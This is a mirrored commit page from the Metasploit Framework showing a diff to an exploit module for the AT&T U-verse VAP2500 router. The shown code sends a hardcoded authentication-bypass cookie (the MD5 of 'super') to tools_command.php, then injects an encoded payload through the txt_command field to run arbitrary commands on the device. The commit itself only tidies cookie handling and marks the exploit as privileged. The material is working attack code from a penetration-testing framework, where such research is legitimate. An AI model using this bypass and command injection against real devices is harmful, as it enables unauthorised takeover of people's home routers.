github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00
Code Releases Activity

Use cookie option

Browse Source
This commit is contained in:
jvazquez-r7 2015-01-21 20:37:38 -06:00
parent 8d1ca872d8
commit 169052af5c
1 changed files with 4 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

11
modules/exploits/linux/http/vap2500_tools_command_exec.rb
View File

@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/']
],
'DisclosureDate' => 'Nov 25 2014',
'Privileged' => false,
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
@ -53,9 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_raw({
'method' => 'GET',
'uri' => '/tools_command.php',
'headers' => {
'Cookie' => "p=1b3231655cebb7a1f783eddf27d254ca", # md5("super")
}
'cookie' => "p=#{Rex::Text.md5('super')}"
})
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
return Exploit::CheckCode::Vulnerable
@ -88,10 +86,9 @@ class Metasploit3 < Msf::Exploit::Remote
'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}"
},
'method' => 'POST',
'headers' => {
'Cookie' => "p=1b3231655cebb7a1f783eddf27d254ca", # md5("super")
}
'cookie' => "p=#{Rex::Text.md5('super')}"
})
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
print_good("#{peer} - Command sent successfully")
if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m